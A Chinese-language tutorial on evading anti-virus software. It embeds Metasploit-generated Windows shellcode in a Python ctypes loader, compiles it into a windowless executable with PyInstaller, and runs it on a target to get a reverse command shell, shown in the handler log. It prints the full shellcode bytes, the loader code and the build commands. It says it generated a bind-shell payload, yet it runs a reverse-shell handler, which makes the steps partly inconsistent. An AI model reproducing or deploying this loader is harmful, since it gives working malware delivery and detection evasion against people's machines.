Metasploit - Tips for Evading Anti-Virus

绕过杀毒软件，有很多钟方法。此处介绍一种，编写python程序调用shellcode，并使用Pyinstaler将python程序编译为exe程序。

准备工作:(Windows XP环境下编译)

将Python程序编译为exe，须要Python主程序，pywin32库，Pyinstaller(直接解压到C盘)。

假设编译过程中出现错误提示，请依照指示解决这个问题。

安装过程不是非常复杂，在此不予说明。

https://www.python.org/ftp/python/2.7.8/python-2.7.8.msi

http://softlayer-dal.dl.sourceforge.net/project/pywin32/pywin32/Build%20219/pywin32-219.win32-py2.7.exe

https://pypi.python.org/packages/source/P/PyInstaller/PyInstaller-2.1.tar.gz

利用metasploit生成shellcode。供后面的python程序使用。

msf payload(shell_bind_tcp) > show options  

 

Module options (payload/windows/shell_bind_tcp):

 

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  seh              yes       Exit technique (accepted: seh, thread, process, none)

   LPORT     4444             yes       The listen port

   RHOST     0.0.0.0          no        The target address

 

msf payload(shell_bind_tcp) > generate -b '\x00' -f /home/nixawk/bind_tcp.txt -p windows -t c

[*] Writing 1803 bytes to /home/nixawk/bind_tcp.txt...

准备完毕后。python程序源代码例如以下:

from ctypes import *



shellcode = '\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x01\x6b\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'



memorywithshell = create_string_buffer(shellcode, len(shellcode))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

shell()

利用Pyinstaller编译上述包括shellcode的python文件，命令例如以下:

C:\PyInstaller-2.1\utils>pythonmakespec.py --onefile --noconsole shellcode.py

wrote C:\PyInstaller-2.1\utils\shellcode.spec

now run pyinstaller.py to build the executable

C:\PyInstaller-2.1\utils>pythonbuild.py shellcode.spec

59 INFO: Testing for ability to set icons, version resources...

69 INFO: ... resource update available

79 INFO: UPX is not available.

109 INFO: Processing hook hook-os

259 INFO: Processing hook hook-time

259 INFO: Processing hook hook-cPickle

349 INFO: Processing hook hook-_sre

509 INFO: Processing hook hook-cStringIO

639 INFO: Processing hook hook-encodings

660 INFO: Processing hook hook-codecs

1171 INFO: Extending PYTHONPATH with C:\PyInstaller-2.1\utils

1171 INFO: checking Analysis

1171 INFO: building Analysis because out00-Analysis.toc non existent

1171 INFO: running Analysis out00-Analysis.toc

1171 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable

1171 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww ...

1171 WARNING: Assembly not found

1180 ERROR: Assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww not found

1220 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\python.exe

1230 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww ...

1230 WARNING: Assembly not found

1230 ERROR: Assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww not found

1351 WARNING: lib not found: MSVCR90.dll dependency of C:\WINDOWS\system32\python27.dll

1351 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\_pyi_bootstrap.py

1381 INFO: Processing hook hook-os

1401 INFO: Processing hook hook-site

1421 INFO: Processing hook hook-encodings

1562 INFO: Processing hook hook-time

1562 INFO: Processing hook hook-cPickle

1661 INFO: Processing hook hook-_sre

1822 INFO: Processing hook hook-cStringIO

1961 INFO: Processing hook hook-codecs

2463 INFO: Processing hook hook-pydoc

2632 INFO: Processing hook hook-email

2713 INFO: Processing hook hook-httplib

2763 INFO: Processing hook hook-email.message

2844 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_importers.py

2904 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_archive.py

2963 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_carchive.py

3043 INFO: Analyzing C:\PyInstaller-2.1\PyInstaller\loader\pyi_os_path.py

3043 INFO: Analyzing shellcode.py

3114 INFO: Hidden import 'codecs' has been found otherwise

3114 INFO: Hidden import 'encodings' has been found otherwise

3114 INFO: Looking for run-time hooks

3154 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\select.pyd

3203 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\unicodedata.pyd

3273 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_hashlib.pyd

3323 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\bz2.pyd

3414 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_ssl.pyd

3484 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_ctypes.pyd

3555 WARNING: lib not found: MSVCR90.dll dependency of C:\Python27\DLLs\_socket.pyd

3575 INFO: Using Python library C:\WINDOWS\system32\python27.dll

3625 INFO: Warnings written to C:\PyInstaller-2.1\utils\build\shellcode\warnshellcode.txt

3634 INFO: checking PYZ

3634 INFO: rebuilding out00-PYZ.toc because out00-PYZ.pyz is missing

3634 INFO: building PYZ (ZlibArchive) out00-PYZ.toc

4815 INFO: checking PKG

4815 INFO: rebuilding out00-PKG.toc because out00-PKG.pkg is missing

4815 INFO: building PKG (CArchive) out00-PKG.pkg

6167 INFO: checking EXE

6167 INFO: rebuilding out00-EXE.toc because shellcode.exe missing

6167 INFO: building EXE from out00-EXE.toc

6167 INFO: Appending archive to EXE C:\PyInstaller-2.1\utils\dist\shellcode.exe

编译完毕后，将shellcode.exe放到目标主机上运行，成功获取反弹shell。

msf exploit(handler) > set payload windows/shell/reverse_tcp

payload => windows/shell/reverse_tcp

msf exploit(handler) > show options  

 

Module options (exploit/multi/handler):

 

   Name  Current Setting  Required  Description

   ----  ---------------  --------  -----------

 

 

Payload options (windows/shell/reverse_tcp):

 

   Name      Current Setting  Required  Description

   ----      ---------------  --------  -----------

   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)

   LHOST                      yes       The listen address

   LPORT     4444             yes       The listen port

 

 

Exploit target:

 

   Id  Name

   --  ----

   0   Wildcard Target

 

 

msf exploit(handler) > set LHOST 192.168.1.107

LHOST => 192.168.1.107

msf exploit(handler) > run

 

[*] Started reverse handler on 192.168.1.107:4444  

[*] Starting the payload handler...

[*] Encoded stage with x86/shikata_ga_nai

[*] Sending encoded stage (267 bytes) to 192.168.1.112

[*] Command shell session 1 opened (192.168.1.107:4444 -> 192.168.1.112:2061) at 2014-08-28 12:51:54 +0800

 

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

 

C:\PyInstaller-2.1\utils> 

參考链接:

http://pen-testing.sans.org/blog/pen-testing/2011/10/13/tips-for-evading-anti-virus-during-pen-testing

https://community.rapid7.com/community/metasploit/blog/2014/03/26/new-metasploit-49-helps-evade-anti-virus-solutions-test-network-segmentation-and-increase-productivity-for-penetration-testers

http://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/

http://schierlm.users.sourceforge.net/avevasion.html

http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detection-ghost-writing-asm/